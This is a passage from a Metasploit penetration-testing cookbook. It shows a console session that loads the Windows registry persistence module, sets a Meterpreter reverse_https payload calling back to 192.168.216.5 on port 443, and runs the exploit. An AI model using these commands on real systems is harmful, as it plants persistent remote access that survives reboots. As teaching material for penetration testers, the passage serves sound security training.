How to do it...

  1. The first module we will try is the Windows Registry Only Persistence exploit module. This module will install the complete payload in the registry, which will be executed during booting up:
msf exploit(psexec) > use exploit/windows/local/registry_persistencemsf exploit(registry_persistence) > set SESSION 1SESSION => 1msf exploit(registry_persistence) > set STARTUP SYSTEM STARTUP => SYSTEMmsf exploit(registry_persistence) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(registry_persistence) > set LHOST 192.168.216.5LHOST => 192.168.216.5msf exploit(registry_persistence) > set LPORT 443LPORT => 443msf exploit(registry_persistence) > exploit ...[*] Clean up Meterpreter ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.